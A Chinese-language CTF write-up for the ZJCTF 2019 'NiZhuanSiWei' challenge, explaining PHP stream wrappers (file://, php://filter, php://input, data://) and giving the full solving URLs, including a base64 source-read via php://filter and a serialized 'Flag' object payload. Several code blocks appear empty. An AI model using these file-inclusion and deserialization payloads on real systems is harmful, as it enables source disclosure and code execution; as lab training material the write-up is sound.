【PHP伪协议】ZJCTF 2019 NiZhuanSiWei WriteUp
本文最后更新于:2021年8月18日下午1点47分
前景知识
php反序列化
,data协议
,filter协议
,
PHP伪协议:
PHP中支持的伪协议
1 |
|
file:// 协议
使用file协议
要求:
PHP.ini:
file:// 协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
使用方法:file:// [文件的绝对路径和文件名]
1 |
|
url/?page=file://e:/tool/phpstudy/phptutorial/www/phpinfo.php
php://协议
php://filter :
php://filter
是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
1 |
|
1 |
|
php://input
php://input 是个可以访问请求的原始数据的只读流,可以读取到post没有解析的原始数据, 将post请求中的数据作为PHP代码执行。因为它不依赖于特定的 php.ini 指令。
注:enctype=”multipart/form-data” 的时候 php://input 是无效的。allow_url_fopen :off/on
allow_url_include:on
1 |
|
data://协议
data:资源类型;编码,内容
数据流封装器
当allow_url_include 打开的时候,任意文件包含就会成为任意命令执行PHP.ini:
data://协议必须双在on才能正常使用;
allow_url_fopen :on
allow_url_include:on
php 版本大于等于 php5.2
1 |
|
解法:
1 |
|
小结:
WriteUp
题目源代码
text
用data://
或者php://input
伪协议绕过,file
用php://filter
绕过
http://4f2598c3-27c1-4308-baff-129552618617.node3.buuoj.cn/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
1 |
|
base64解密后:
1 |
|
1 |
|
得到O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终payload为:http://4f2598c3-27c1-4308-baff-129552618617.node3.buuoj.cn/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
flag为:flag{5ef5c6d1-aa38-4e12-af5b-25d7006aaa81}
参考资料
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!